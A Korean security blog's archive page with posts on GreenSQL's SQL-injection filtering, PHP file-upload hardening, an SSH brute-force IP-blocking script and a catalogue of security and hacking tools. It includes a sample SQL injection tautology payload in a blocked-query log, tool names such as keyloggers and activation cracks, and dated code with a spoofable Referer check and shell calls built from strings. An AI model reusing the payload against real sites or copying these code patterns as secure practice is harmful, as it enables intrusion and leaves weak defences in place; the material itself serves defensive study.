Search Results for '해킹&보안/보안관련'


48 posts related to '해킹&보안/보안관련'

  1. 2012/08/24 [보안] Sql injection을 막아주는 Green SQL
  2. 2011/10/24 [보안] 파일업로드와 관련된 보안 정리
  3. 2011/10/23 [보안] 악성 스크립트 쉘 체크하기
  4. 2011/09/13 실무에서 사용하는 보안 도구의 리스트
  5. 2011/03/06 윈도비스타 이상에서 symlink 사용하기
  6. 2011/01/27 Process Explorer 다운로드
  7. 2011/01/27 로그 보는 프로그램 mtail 과 i-tail
  8. 2011/01/27 네트워크 상태 및 IP/PORT 감시 프로그램 TcpView
  9. 2011/01/27 컴퓨터에 실행되는 프로세스 추적 Process Viewer
  10. 2010/08/29 링크스캐너, 방문하는 웹사이트에서 공격당할 가능성을 점검하는 프로그램
  11. 2010/08/18 /var/log/secure 로그를 이용한 IP Deny 자동 등록
  12. 2010/06/04 리눅스 whistl 사용기
  13. 2010/06/04 리룩스 상에서 iptable을 이용한 방화벽 설정입니다.
  14. 2010/03/12 웹서버 취약점 점검도구 - Nikto 1
  15. 2010/03/12 php sql 인젝션 해킹 예방
  16. 2009/09/30 최신 해킹의 주범 윈도 루트킷을 잡아내자 -rkdscan
  17. 2009/09/30 국정원 8대 홈페이지 취약성, OWASP 10대 위협..알고계신가요?
  18. 2009/09/30 여러가지 훜 기법들과 탐지법들
  19. 2009/09/30 [자동 저장 문서]프로그래밍단에서 커널단 접근 및 프로세스 숨김
  20. 2009/08/28 hosts 파일을 이용한 사이트 차단방법 1
  21. 2009/08/27 보안(원문) - SECURING YOUR UNIX SYSTEMS
  22. 2009/08/27 웹방화벽으로 DDOS막기 1
  23. 2009/08/27 웹나이트 설치 후, 반드시 해야 할 일 두 가지
  24. 2009/08/27 MSSQL, 'sp_replwritetovarbin' 프로시저의 힙 오버플로우 취약점
  25. 2009/08/27 KISA에서 발표한 웹해킹방어도구 'CASTLE' 1
  26. 2009/08/26 CSRF 취약점 이용한 공격 방어하기
  27. 2009/08/26 인코딩을 통한 XSS필터 회피 기술
  28. 2009/08/26 SQL Injection을 보안하기위한 고찰
  29. 2009/08/26 웹 어플리케이션 보안 테스트 툴
  30. 2009/08/26 Advanced SQL Injection 한글판
GreenSQL( http://www.greensql.net/ )은 MySQL에 대한 SQL 인젝션(Injection) 공격을 방어하는 프락시 개념의 어플리케이션이다. 웹페이지를 호출하면 DB쿼리는 먼저 GreenSQL 로 넘어겨지고, 검사한 후 정상적이면 MySQL 서버로 요청하는 과정을 거친다.
GreenSQL을 설치하고 실행과정은 이렇다. MySQL 서버는 기존 그대로 실행(디폴트 3306 포트)하고, GreenSQL을 3305포트로 실행(127.0.0.1:3305)한다. 이 때 GreenSQL은 MySQL 서버로 커넥션이 이뤄진다. 웹페이지는 DB커넥션을 GreenSQL의 3305포트로 커넥션하도록 변경해주면 된다. (MySQL을 3305로, GreenSQL을 3306으로 실행할 수도 있을 것이다.)


[ 이미지 출처 : GreenSQL 홈페이지 ]

DB 쿼리의 정상, 비정상은 어떻게 판단하는가?

1) '관리자가 실행할 SQL 유형'이나 '민간한 형태의 SQL 유형'(flush privileges, show 명령, 불법적 형태 등)을 패턴 매칭 방식으로 찾아서 불법 요청으로 간주한다. 예를들면 DB관리 명령어, DB 스키마를 변경시도하는 경우, 시스템 파일을 액세스하려는 경우 등을 불법으로 간주한다. 이 패턴에 대해서는 설정 파일을 통해서 변경이 가능하다.

2) 그후 각 쿼리 유형에는 점수가 할당되어 있는데, 이 점수를 합산한다. 지정된 값 이상이 될 경우, 경고 메시지를 뿌려주거나 차단할 수 있다. 유형은 다음과 같다.

* Access to sensitive tables increases risk query (users, accounts, credit information)
* Comments inside SQL commands increases query risk
* Usage of an empty password string
* Found ‘or’ token inside query
* Found SQL expression that always return true (SQL tautology)
* Comparison of constant values (SQL tautology)
* ... 등 ...

점수는 설정 파일을 통해서 변경이 가능하다. 다음은 샘플 설정 파일의 일부이다.
# If query risk is bigger then specified value, query will be blocked
block_level = 30
# Level of risk used to generate warnings. It is recomended to run application
# in low warning level and then to acknowledge all valid queries and
# then to lower the block_level
warn_level=20
# Risk factor associated with SQL comments
risk_sql_comments=30

차단된 샘플 로그이다. (sCag님 제공. 감사합니다.)

2008-12-09 16:54:18 mysql SELECT * FROM user WHERE name = 'x' or 1=1; --' AND pwd=SHA('') blocked

GreenSQL에 대한 결론이다.

멋진 생각이다. ^^
패턴 설정과 차단수준을 유동적으로 변경 가능하다.
대부분의 리눅스 배포판을 지원하며, FreeBSD도 지원한다.
성능 테스트 결과 약간의 성능 저하가 발생한다. (2~12%정도)
대용량 서비스에서 사용하기는 무리가 있을 것 같다.
소규모 사이트나 웹호스팅에서는 고려해볼만 하다.
SQL Relay(DB 풀링과 로드발런싱 등)에서 제공하는 기능 등이 하나로 합쳐진다면 멋질 것 같다.

내용 출처 : http://truefeel.tistory.com/129

다운로드 : http://www.greensql.net/download


2012/08/24 10:55 2012/08/24 10:55
이곳에 올려진 파일업로드와 관련되어 나온 보안 해결책에 대해 정리해 봤습니다.

첫째,
PHP 파일업로드 후 스크립트 실행에 대한 해결책..

$UPfile = "$upload_name.zip"; // 업로드된 원래 파일뒤에 .zip 포함
$F = opendir("./data") or die(error("./data 디렉토리를 열수 없습니다"));



while($existF = readdir($F)) {

if (file_exists("./data/$UPfile")) {
$y++;
$UPfile = "$upload_name@$y.zip";
// 같은이름이 존재하면 @번호 형식으로 파일명 변경
}

}

closedir($F);

$tfile = substr($UPfile,0,-4); // .zip을 뺀 파일명 DB에 저장

copy($upload,"./data/$UPfile") or die(error("파일 저장에 오류가 있습니다"));

실제로 저장되어 있는 파일명은 .zip 으로 되어있어서 실행이 불가능하며
무조건적으로 다운됩니다.

다운로드시 Header 함수 사용

$filename = "./data/$file.zip"; // 저장되어 있는 파일명
$filesize = filesize($filename); // 저장되어 있는 파일의크기
$Tfile = explode("@",$file); // 원래 파일명 반환
Header("Content-Type: application/zip");
Header("Content-Disposition: inline; filename=$Tfile[0]");
Header("Content-Length: $filesize");
Header("Pragma: no-cache");
Header("Expires: 0");
$fp=fopen("$filename", "r");
echo fread($fp, $filesize);
fclose($fp);

둘째,
GET 방식으로 변수전달하여 서버내의 파일을 다운로드 하는 문제와
사용자가 파일전송폼의 HTML 문서를 사용자의 PC에 저장하여
POST 방식으로 변수전달할경우

if (!eregi("http://$HTTP_HOST",$HTTP_REFERER) or $QUERY_STRING) {
echo("정상적인 접근 바랍니다");
exit;
}



2011/10/24 12:17 2011/10/24 12:17
PC 에서 바이러스 체크하는것처럼 바이러스 체크 프로그램으로 검사 하는겁니다.

리눅스 서버의 경우

일단 삼바서버를 띄운다음 노트북이나 클라이언트로 로컬로 붙입니다.

네트웍 드라이브를 잡아 알약 같은 프로그램으로 검사 하는겁니다.

다운받은 각종 유틸 , 동영상, 소스를 서버에 옮기다보니
여기저기 실시간 검색에서 튀어나온 트로이목마들이 많이 발견되더군요.

로컬망을 기가바이트 허브와 각 호스트에 기가바이트 랜카드를 연결하고
CAT6 망으로 바꾸니 복사 속도가 대략 10배나 빨라졌네요.

동영상 큰 파일은 초당 100메가
소스같은 작은 파일은 30메가 정도 나오더군요.

이정도 속도면 SATA 하드를 직접 메인보드에 연결하여 복사하는 속도랑 맞먹습니다.                                       


2011/10/23 12:03 2011/10/23 12:03
This is a complete directory structure listing of all programs included.
The main categories are listed first, followed by an individual listing
of each category, and any sub-categories inside them if necessary.

=========================
---[ Main Categories ]---
=========================
AnalogX.com Freeware
Anti-Spyware
Antivirus Tools & Scanners
Checksum.org Freeware
DiamondCS.com.au Freeware
File Recovery & Forensics
FireFox 1.0
Foundstone.com Freeware
GRC.com Freeware
Hacking & Related
Informational eBooks
KarenWare.com Freeware
Missing files (DLL, OCX, etc)
Network & Internet Tools
NTSecurity.nu Freeware
Other (Misc.)
Password Recovery
RJL Software (Freeware)
SteelBytes.com Freeware
SysInternals.com Freeware
System Information
UNIX Utilities (Win32 Ports)
Windows System & Security

========================
---[ Sub-Categories ]---
========================
* AnalogX.com Freeware
- AutoTab v1.00
- HyperTrace v2.02
- MaxMem v1.02
- NetStat Live 2.11
- PacketMon v1.00
- PCalc v1.11
- PortBlocker v1.02
- PortMapper v1.03
- Proxy v4.14
- ScriptDefender v1.02
- SimpleServer WWW v1.23
- TextScan v1.02
- WhoIs v3.01
* Anti-Spyware
- BHODemon 1.0.0.3
- BHODemon 2.0.0.21
- BHOList v1.40
- BugOff v1.10
- CWShredder 2.12
- HijackThis v1.99
- Kill2Me v1.11
- Spybot - S&D v1.3
- Startup CPL
* Antivirus Tools & Scanners
- avast! Virus Cleaner v1.0.206
- AVERT Stinger v2.4.7
- F-Prot v3.15b (DOS)
- Klister v0.4
- Microsoft Malware Removal Tool (Jan 2005)
- Patch Finder 2.11
- RKDetect
- VICE v2.0
* Checksum.org Freeware
- DriverList
- HackIt
- MD5Crack
- Monitor
- Rx
- Tx
* DiamondCS.com.au Freeware
- AdjustCR
- Advanced Process Manipulation
- Advanced Process Termination
- AutoStart Viewer v1.4
- CmdLine
- CPU Info
- DelLater
- HTTP Get
- ICMP Ping
- IP List
- IRClean & MIRClean
- OpenPorts v1.0
- PassDump
- PWReveal
- RegistryProt 2.0
- Resolve
- SendMail
- SHA-160 Hash
- TaskMan+ v1.5
- TraceRoute
- Uptime
- XWhois
* File Recovery & Forensics
- Active@ Uneraser v3.0 (DOS)
- Active@ Uneraser v3.0 (GUI)
- ADS Spy v1.05
- BackRex Expert Backup v2.1
- DiskCheck v1.0.57
- DiskView v1.0
- Eraser v5.3
- FileCHK
- Flobo Floppy Repair
- FlopShow v1.2
- Forensic Acquisition Utilities v1.0.0.1034 b1
- GetDataBack for FAT v2.31
- GetDataBack for NTFS v2.31
- Hex Editor v2.0
- LADS v4.00
- Mozilla Backup 1.3.2
- Norton Ghost Explorer 2003
- Partition Rescue v1.0
- PC Inspector File Recovery v3.0
- Recover My Files v3.06
- SectorSpy v2.1
- UnCHK 3
- Undeletion Wizard v1.1
- WinHex Professional v11.9 SR-8
* FireFox 1.0 (Portable)
* Foundstone.com Freeware
- Forensic
> BinText v3.0
> Forensic Toolkit v2.0
> Galleta v1.0
> NTLast v3.0
> Pasco v1.0
> PatchIt v2.0
> Rifiuti v1.0
> ShoWin v2.0
> Vision v1.0
- Intrusion Detection
> Attacker v3.0
> Filewatch v1.0
> Fport v2.0
- S3i
> Site Digger v2.0
> SSLDigger v1.0
- Scanning
> BOping v2.0
> CIScan v1.0
> DDosPing v2.0
> DSScan v1.0
> MessengerScan v1.05
> MyDoom Scanner v1.0
> NetSchedScan v1.0
> RPCScan v2.03
> ScanLine v1.01 (FScan)
> SNScan v1.05
> SQLScan v1.00
> SuperScan v3.0 & v4.0
> Trout v2.0
- Stress Testing
> Blast v2.0
> FSMax v2.0
> UDPFlood v2.0
- Foundstone Free Tools (Link)
* GRC.com Freeware
- DCOMbobulator
- FIX-CIH Virus Recovery
- ID Serve
- IDentify ASPI Devices
- LeakTest
- LetShare
- NoShare
- Shoot The Messenger
- SocketLock
- SocketToMe
- Trouble In Paradise (TIP)
- UnPlug n' Pray
- Wizmo
- XPdite
* Hacking & Related
- Attack Tool Kit v4.0
- AutoDial (War Dialing, 1986)
- Avalanche 3.6 (1997)
- GuidoZ Camophone.com (GUI)
- CyberFreak (1995)
- EXE Hiding
> eLiTeWrap 1.04
> Ghost
> Hidden32
> HideRun
> InPEct v1.1
- eXeScope v6.41
- Ghost Keylogger v3.8
- GuidoZ Cracks.am Searcher v1.21
- GuidoZ Key Logger v1.1
- Hacked Regedit
- Resource Hacker v3.4.0
* Informational eBooks
- 200 Ways To Revive A HDD (Rich Text Format File)
- BIOS Survival Guide (Rich Text Format File)
- How to use TELNET with SMTP (Text File)
- Increase WinXP Bandwidth (Text File)
- IP Subnetting (Adobe PDF)
- Receive only (CAT5) (Adobe PDF)
- Receive Only CAT5 (Text File)
- Smashing The Stack For Fun And Profit (Text File)
- Telenet Hosts (Text File)
- Telenet Secrets (Text File)
- The OSI Model (Adobe PDF)
- WinNT Hack (Text File)
* KarenWare.com Freeware
- Alarm Clock v3.0.3
- Autorun.inf Editor v1.4
- Clipboard Viewer v2.2
- Computer Profiler v2.5.1
- Cookie Viewer v3.3
- Countdown Timer II v3.4
- Directory Printer v4.3
- Disk Slack Checker v2.3.1
- Drive Info v2.2
- E-Mailer II v1.2
- Font Explorer v2.0.3
- LAN Monitor v1.3.4
- MD5 Hasher v1.0
- Net Monitor v3.5.1
- Print Logger v2.4.1
- Recycler v1.1
- Registry Pruner v2.5
- Registry Ripper v1.2
- Replicator v2.2.3
- Show Stopper v2.0.3
- Snooper v1.4
- Time Cop v1.2
- Time Sync v1.1.4
- URL Discombobulator v1.7.1
- Version Browser v3.1
- WhoIs v2.2.5
- Window Watcher v2.2.1
- Zone Manager v1.2
* Missing files (DLL, OCX, etc)
- Misc Other (VB 3 & 4+).zip
- Visual Basic Runtimes (5 & 6).zip
- WinPcap 3.1 Beta 4
* Network & Internet Tools
- 1st Transfer 2000 FTP client
- 7th Sphere PortScan
- Active Ports v1.4
- Analyzer v2.2
- Bandwidth Monitor v1.0.44
- Cisco PIX Firewall Password Calc
- Connection Keep Alive
- CryptCat (12-02-2003)
- DataPipe
- Email & Related
> POP3 Cleaner v2.0 Beta
> Receiving.exe
> Sending.exe
> SpeedMail v1.2 (Send with attachment)
- FreshDownload v7.20
- Host Scanner
- IP Tools v2.50
- IPsearch v2.0
- IRS v1.9
- MingSweeper 1.00.130 (a5)
- ModemMax
- NcFTP v3.1.8
- Netcat 1.11
- NetDemon 0.95b
- NetDemon 3.0
- NetScanTools v5.0
- Nmap v3.75
- Port Blocker v1.0.15
- PuTTY v0.56b
- Raw Clients
> DNS Lookup v1.2
> Mail Dump v1.2
> Raw TCP Client v1.2
- Sauron v1.2
- Scanning (CMD)
> scan100
> scan500
> scan1000
- sTerm v1.6
- Stunnel v4.05
- TCP Optimizer
- WEP (Wi-Fi) Keygen v1.9
- WinARP MitM v0.9.5
- WinARP Swiss Knife v0.9.2
- WinARP Watch
- WinSock and TCP Repair
- WSPing32
- X-File Get v1.0b
- X-NetStat Pro v5.12
* NTSecurity.nu Freeware
- CECrypt
- Contact (Text file)
- DelGuest
- ReadMe (Text file)
- AckCmd
- BrowseList
- ClearLogs
- CryptF
- DBProbe
- DumpUsers
- EFSView
- EtherChange
- EtherFlood
- FakeGINA
- FileHasher
- GPList
- GrabItAll
- GSD (Get Service Dacl)
- Inzider
- IPEye
- IPSecScan
- KerbCrack
- KLogger
- ListModules
- LNS - List NTFS Streams
- MACMatch
- NSCopy
- PEriscope
- PMDump
- PromiscDetect
- PStoreView
- RPAK (Routing Protocol Attack Kit)
- SetOwner
- SMB Downgrade Attacker
- Snitch
- SQLdict
- StrongPass
- Tini
- Winfo
- WinRelay
- WinZapper
- WPSweep
- WUPS
* Other (Misc.)
- Autorun
> Autorun.inf Maker
> Launch v1.2
> Removable disk WinXP Icon
> Trah Starterfile
- CD Tray Pal v1.0.55
- FreshView v3.60
- GmailFS (Must Install)
- GSpot v2.2.1
- HTML Tag Remover v1.0.20
- reJPEG v1.0
* Password Recovery
- Brutus AET2
- Cain & Abel v2.5
- John the Ripper v1.6
- L0pht Crack 5 (LC5)
- Local Password Recovery (Progenic)
- PacketCatch v1.1.0.0
- PacketInside v1.0.0.1
- PassDump (Win9x)
- Password Thief
- PWLInside v1.22
- SAMInside v2.2.6.0
- TPU (Total Password Utility)
- VeoVeo v3.4
- Winrtgen v1.2
* RJL Software (Freeware)
- DelayExec v1.00
- Open & Close CD v1.20
- Shutdown v1.02
- Simple Search-Replace v1.03
- TreeCopy v1.11
* SteelBytes.com Freeware
- Disk & File
> AutoCompress v1.2.0.15
> FileCompare v1.0.0.12
> HD_Speed v1.4.0.43
- Misc
> JPG & PNG Stripper v1.1.0.8
> Sleep v1.0
- Network
> ConnectionMonitor v1.2.0.30
> Email Tester v1.2.3.12
> FileGateway v1.4.0.109
> PortTunnel v2.0.5.281
> YAPS v1.0.2.30
- Programming
> Exe32Pack v1.42
* SysInternals.com Freeware
- Misc
> AdRestore v1.1
> Autologon v1.0
> ClockRes v1.0
> DiskExt v1.0
> DiskView v2.0
> EFSDump v1.02
> Hex2dec v1.0
> Hostname Converter
> Junction 1.03
> LoadOrder v1.0
> LogonSessions v1.1
> PendMoves v1.1
> Regjump v1.01
> Sigcheck v1.0
> Streams v1.5
> Strings v2.1
> Sync v2.2
> VolumeId v2.0
- Monitoring Tools
> CPUMon v2.0
> DebugView v4.31
> Diskmon v2.01
> Filemon v6.12
> Handle v2.20
> ListDLLs v2.23
> NTFSInfo v1.0
> PMon v1.0
> Portmon v3.02
> Process Explorer v8.52
> Regmon v6.12
> TCPView v2.34
> TDImon v1.01
> Tokenmon v1.01
> Winobj v2.13
- Performance Tools
> CacheSet v1.0
> Contig v1.51
> Frob v1.6a
> PageDefrag v2.3
- Utilities
> AccessEnum v1.2
> Autoruns v6.0
> Bluescreen v3.2 (Screensaver)
> BgInfo v4.08
> Ctrl2cap v2.0
> FAT32 for WinNT 4.0 v1.01
> Fundelete v2.02 (WinNT)
> LDMDump v1.02
> LiveKd v2.11
> NTFS for Win9x v2.0 (Read Only)
> NTFSCHK v1.0
> NTFSFlp v1.0
> PsTools v2.1
> SDelete v1.2
> ShareEnum v1.51
- SysInternals Free Tools (Link)
* System Information
- Aezay Computer Info v1.61
- Aida32 (Enterprise) v3.93
- Everest Home v1.51
- FlexInfo Pro v1.0.125
- FreshDiagnose v6.80
- NeroInfo Tool v2.21
- PCResView v2.0
- ShellExView v1.10
- SIW v1.44
- System Properties v1.2
- WinAudit v1.3
* UNIX Utilities (Win32 Ports)
- Outwit v1.23
> docprop
> odbc
> readlink
> readlog
> winclip
> winreg
- UnxUtils
> bin
sh.exe
> usrlocalwbin
agrep.exe ansi2knr.exe basename.exe bc.exe
bison.exe bunzip2.exe bzip2.exe bzip2recover.exe
cat.exe chgrp.exe chmod.exe chown.exe
cksum.exe cmp.exe comm.exe compress.exe
cp.exe csplit.exe cut.exe date.exe
dc.exe dd.exe df.exe diff.exe
diff3.exe dircolors.exe dirname.exe du.exe
echo.exe egrep.exe env.exe expand.exe
expr.exe factor.exe fgrep.exe find.exe
flex.exe fmt.exe fold.exe fsplit.exe
gawk.exe gclip.exe gplay.exe grep.exe
gsar.exe gunzip.exe gzip.exe head.exe
id.exe indent.exe install.exe join.exe
jwhois.exe less.exe lesskey.exe ln.exe
logname.exe ls.exe m4.exe make.exe
makedepend.exe makemsg.exe man.exe md5sum.exe
mkdir.exe mkfifo.exe mknod.exe mv.exe
mvdir.exe nl.exe od.exe paste.exe
patch.exe pathchk.exe pclip.exe pr.exe
printenv.exe printf.exe ptx.exe pwd.exe
recode.exe rm.exe rman.exe rmdir.exe
sdiff.exe sed.exe seq.exe sha1sum.exe
shar.exe sleep.exe sort.exe split.exe
stego.exe su.exe sum.exe sync.exe
tac.exe tail.exe tar.exe tee.exe
test.exe touch.exe tr.exe tsort.exe
type.exe uname.exe unexpand.exe uniq.exe
unrar.exe unshar.exe unzip.exe uudecode.exe
uuencode.exe wc.exe wget.exe wget.hlp
which.exe whoami.exe xargs.exe yes.exe
zcat.exe zip.exe zsh.exe
* Windows System & Security
- Account Lockout & Management Tools
- Active CPU v1.1
- AutoShutdown v1.1
- Cookie Eater v1.0
- DropMyRights
- DumpEvent
- Dump Event Log (DumpEL)
- Dump Registry (DumpReg)
- Dump Security v2.8.2 (DumpACL)
- EZMem Optimizer v1.0.15
- FileSplit v2-c
- Fix XP Logon (GINA)
- FreshUI v7.26
- GuidoZ MultiDesk v1.2
- IPFront
- MaxFormat v3.5
- MJB Keyfinder v1.5b3
- NET Users v1.21
- NET View v1.20
- Norton WinDoctor 2004
- Partition Management
> PartInNT.exe
> Pqboot32.exe
> PTEDIT32.EXE
- PKWare v2.04g (DOS)
- Pocket KillBox
- PrcView v3.7.3.1
- Print Screen Deluxe 5.1
- RegDACLE v5.1
- RestoreMBR
- SetFileDate 1.0
- SFV Checker v1.12
- SHA1 Sum
- SmeDump
- System Optimizer
- Total Uninstall v2.34
- Universal Activation Crack (WinXP)
- UnZip v5.12 (CMD)
- UPX v1.25 (Win32)
- UPX v1.25 (DOS)
- UPX Shell v3.0.9.2511
- UPX-iT v1.6.1
- WHOAMI
- Windows, Office & Misc CD Keys
- Windows Grep
- Windows XP SP2 Mods
- WinImage v6.10
- WinISO 5.3
- WinRAR 3.41
- XP AntiSpy v3.92
- XP Keygens & Changers
- XPlite & 2000lite Pro 1.5.02


2011/09/13 20:12 2011/09/13 20:12
mklink 라는 명령이 있습니다.
관리자 권한 cmd.exe 에서 ln -s 하듯 아래와 같이 명령하면 됩니다.
단, ln 과는 link target 순서가 다릅니다.

mklink /d "C:\Program Files (x86)\NPKI" "C:\Program Files\NPKI"

이것은 윈도7 64bit 에서 카드결제시 설치된 공인인증서가 목록에 안나오는 문제를 해결하기 위해 인증서를 x86 쪽에 링크를 걸어준 것입니다.



2011/03/06 10:22 2011/03/06 10:22
해당 컴퓨터에 실행되어지는 프로세서를 보여주고
컨트롤 할 수 있는 프로그램..

서버관리자라면 필수이겠쬬...!!



다운로드 : Process Explorer V11.33



주요기능
* 프로세스 아이콘을 보여줌
* 프로세스 강조 기능
* 프로세스 트리 디스플레이
* 리프레스 주기 설정 가능
* 리프레시 강조 : 프로세스, 제어, DLL 뷰 내의 새로운 새로운 엔트리는 녹색, 삭제된 것은 붉은색으로
* 툴팁 제공
* DLL 뷰 내에 DLL 상세 묘사
* 재위치한 DLL 강조
* Terminal Server 시스템을 포함한 모든 Process Owners 리스트



2011/01/27 01:03 2011/01/27 01:03
 

mtail: http://www.mtail.com 에서 제작
itail : http://idev.ibksystem.co.kr 에서 제작

대표 적인 로그 보는 프로그램으로
텍스트 형태의 로그 파일을 실시간으로 모니터링 및 필터링 할 수 있는 툴입니다.


기능은 비슷하고 사용 편하신거 골라서 사용하시면 됩니다.




2011/01/27 01:02 2011/01/27 01:02
TcpView
네트워크 및 서버를 관리하는 사람은 필수 있겠죠.
해당 프로그램을 이용하면, 본인 컴퓨터에 연결되어 있는 프로세스 및 접속 포트/아이피를 알아 낼수 있고
불법으로 연결되어 있는 프로세스들도 확인 가능하겠쬬..




다운로드 :


기능 간략 설명 :

녹색 : 새로 연결되는 프로그램
노란색 : 접속 상태가 변하고 있는 프로그램
빨간색 : 연결이 종료될 프로그램

 

빨간색 네모 해 놓은 못모양을 클릭하면 위에 X표가 생기면서 연결된 것들만 표시
그 옆에 A를 클릭하면 X가 생기면서 Local Address와 Remote Address가 아이피로 표시




2011/01/27 01:01 2011/01/27 01:01
Process Explorer 과 비슷한 프로그램으로 해당 피시에 실행되는 프로세스 정보를 모두 확인 할 수 있으며,
 두 프로그램을 적절히 사용하면,
보안 침해 분석에 조금더 쉬운 관리가 가능하다..





다운로드 :


설명 : Process Viewer는 윈도를 실행하면 실행되는 프로세서와 드라이버, 서비스를 리스트 형태로 보여주고 강제 종료할 수 있게 해주는 프로그램입니다.

따로 설치할 필요없이 다운 받은 파일의 압축을 풀고 실행하시면 되는 간단한 구조로 되어 있기 때문에 손쉽게 사용이 가능합니다.

프로그램을 실행하시면 현재 실행중인 프로세서, 드라이버, 서비스를 탭형식의 메뉴 형태로 보여줍니다.

프로세서창에서는 프로세서의 이름, PID, CPU 사용시간, 메모리 사용량을 보여주고 드라이버 항목에서는 이름, 기본 주소, Load Cnt, 경로 정보를 보여주며, 서비스 항목에서는 디스플레이 이름, Status, 시작 타입을 보여줍니다.



2011/01/27 01:01 2011/01/27 01:01

최근 보안 위협 중의 하나는 '미끼' 웹 사이트를 개설하여 이 사이트를 방문하는 사용자에게 액티브엑스 컨트롤을 다운로드하게 하여 이를 자동 설치하여 공격(홈페이지 변경, 악성프로그램 다운로드하여 스팸 발송, 바이러스 감염 등등)하는 경우가 아주 많습니다.

특히, 보안 패치가 제대로 이루어지지 않은 컴퓨터에서는 이러한 익스플로잇을 통한 공격이 다수 나타납니다. 물론, 정상적인 웹사이트도 해킹하여 기본 페이지의 하단에 자바 스크립트를 삽입하여 공격합니다.

이러한 공격을 예방하기 위해서는 보안 패치, 바이러스 백신, 악성코드 제거프로그램, 개인용 방화벽 등을 설치하여 운영하는 것은 기본이며, 그 밖에도 가급적이면 일반적인 사이트 이외에는 방문하지 않는 것이 좋습니다.

하지만, 웹페이지를 서핑하다 보면 외국의 사이트들을 들어 갈 경우도 많습니다. 특히, 와레즈 사이트, 포르노 사이트, 복권/도박 사이트들에는 이러한 익스플로잇이 미리 설치되어 있어 사용자를 곤경에 빠뜨릴 수 있습니다.

이러한 위협을 예방하기 위해서 '링크스캐너'라는 온라인 스캐너를 사용하여 방문하는 웹페이지에 어떠한 위협이 존재하는지 확인하는 프로그램을 사용하는 것이 좋습니다.

홈페이지: http://linkscanner.explabs.com/linkscanner/




2010/08/29 20:33 2010/08/29 20:33

/var/log/secure 로그를 이용한 IP Deny 자동 등록


이 스크립트는 리눅스에서 기본적으로 제공하는 로그를 이용하여 10분 간격으로 로그를 추출하고

20회 이상 Fail Password를 발생시킨 아이피를 Tcp-Wrapper(/etc/hosts.deny)에 등록시켜

더이상 해킹 시도를 방지한다.


Caution : 10분이내에 뚫리면 어찌할 수 없음... =,.=;


ps. 스크립트의 제작의 편리를 위해서 중복 등록확인은 없음... ^^;


기본환경 : 리눅스, PHP Shell script-x

작성언어 : PHP


동작원리

1. /var/log/secure 파일에서 10분대의 로그를 추출한다.

  예 : 현재시간이 18:25:00 이라면 추출하는 시간은 18:10~19분을 추출한다.

2. 아이피 별로 갯수를 통계낸다.

3. 한 아이피에서 20회 이상 sshd로 비밀번호가 틀렸다면 /etc/hosts.deny에 "ALL:아이피주소"의

   형태로 등록된다.

4. xinetd 데몬을 재시작한다.

5. 등록한 아이피 목록을 지정된 메일 주소로 발송한다.


실행방법

./secure_analysis.sh sshd


crontab 등록시

*/10 * * * * /경로명/secure_analysis.sh sshd


소스

#!/usr/local/bin/php
<?
// 개요
// secure log 를 분석해서 sshd로 불법적인 접속을 시도하는 IP를 /etc/hosts.deny에 등록하는 작업을 한다.

// Log Example : Jun  5 07:49:18 p1 sshd[1110]: Failed password for root from 211.114.190.196 port 52944 ssh2
// 추출 명령어 : grep "Jun  7 09" secure | grep "sshd" | grep "Failed password" | awk -F "from" '{print $2}' | awk '{print $1}'

// 지정된 입력값을 입력하지 않으면 실행하지 않는다.

if($argc > 1)
{
 $RECEIVE_EMAIL = "수신 메일주소";
 $Hostname = trim(exec("hostname"));

 $Date = date("Y-m-d H:i:s");

 // 10분전 분을 구한다.
 $TenAgo = substr(date("i",mktime (date("H"), date("i")-10, 0, date("m"), date("d"), date("Y"))),0,1);

 if(!file_exists("/service/log_temp"))
 {
   exec("mkdir -p /service/log_temp");
 }

    if(!file_exists("/service/log_temp/secure_analysis.log"))
    {
        exec("touch /service/log_temp/secure_analysis.log");
    }

 // 날짜에 따라서 검색어의 공백처리가 틀린 관계로 ... =,.=;
 $DayLength = strlen(date("j"));

 if($DayLength == 2)
 {
  $now = date("M j H:");
 }
 else
 {
  $now = date("M  j H:");
 }

 if($argv[1] == "sshd")
 {
  exec("grep \"$now$TenAgo\" /var/log/secure | grep \"sshd\" | grep \"Failed password\" | awk -F \"from\" '{print \$2}' | awk '{print \$1}' > /service/log_temp/secure_log_".$argv[1]);
 }

 $Fail_IP_File = file("/service/log_temp/secure_log_".$argv[1]);

 for($i=0; $i < count($Fail_IP_File); $i++)
 {
  $Fail_IP_File[$i] = trim($Fail_IP_File[$i]);
 }

 $Fail_Statistics = array_count_values($Fail_IP_File);

 exec("echo \"\" > /service/log_temp/DenyIP.list_".$argv[1]);

 while (list ($Ip, $Count) = each ($Fail_Statistics))
 {

// 여기의 20을 조정하여 등록을 조절할 수 있다.
  if($Count > 20)
  {
   $Now_Time = date("Y년 m월 d일 H시 i분 s초");
   exec("echo \"#Regist $Now_Time\" >> /etc/hosts.deny");
   exec("echo \"ALL : $Ip\" >> /etc/hosts.deny");
   $Restart_Xinetd = 1;
   exec("echo \"$Now_Time | $Ip | $Count 회\" >> /service/log_temp/DenyIP.list_".$argv[1]);
  }
  exec("echo \"$Date\t$Ip\t$Count\" >> /service/log_temp/secure_analysis.log");
 }

 if($Restart_Xinetd)
 {
  exec("killall -HUP xinetd");
  exec("cat \"/service/log_temp/DenyIP.list_".$argv[1]."\" | mail -s \"$Hostname Deny IP List - $Date \" $RECEIVE_EMAIL");
 }
}
else
{
 echo("Missing Argument... Confirm Execute ...\n");
}
?>




2010/08/18 21:17 2010/08/18 21:17
서버에 이상한움직임이 있어서.... 공격 들어오는듯....
방화벽 보수적으로 잡고 로그 분석해서 불안해 보이는 페이지들 막거나 수정하고,
침입 탐지용 스크립트 만들어서 크론에 1분에 한번씩 돌렸죠... 침입탐지 되면 SMS 쏘게..

그래도 안심 안돼서.. KRCert 가 보니 whistl 이라는 웹쉘 탐지 프로그램이랑
castle 이라는 일종의 필터링 프로그램을 발견하고 테스트 해보았습니다.

둘다 ASP 용 PHP 용 다 나와 있습니다.

우선castle 이라는 프로그램은 설치법 간단합니다.
작으만한 사이트에 붙여 봤는데.. 작아서 그런지 부하는 모르겠네요...
castle 관리자에서 대충 필터링 되는것들 들여다 봤는데..
그냥 단순한 정도인듯 하네요..
없는거보단 나으니 그냥 하나 셋팅해두는거도 괜찮을듯 합니다..


그다음 whistl 이놈은  바로 다운로드가 안되고 요청을 하면 보내주네요...
2-3일 내로 보내준다고 돼 있습니다.

아이디 패스워드랑 같이 프로그램을 보내주네요..
리눅스는 커널 2.4 랑 2.6 버전 2종류가 있고 서버에 맞게 실행권한 죠서 실행시키면 됩니다.



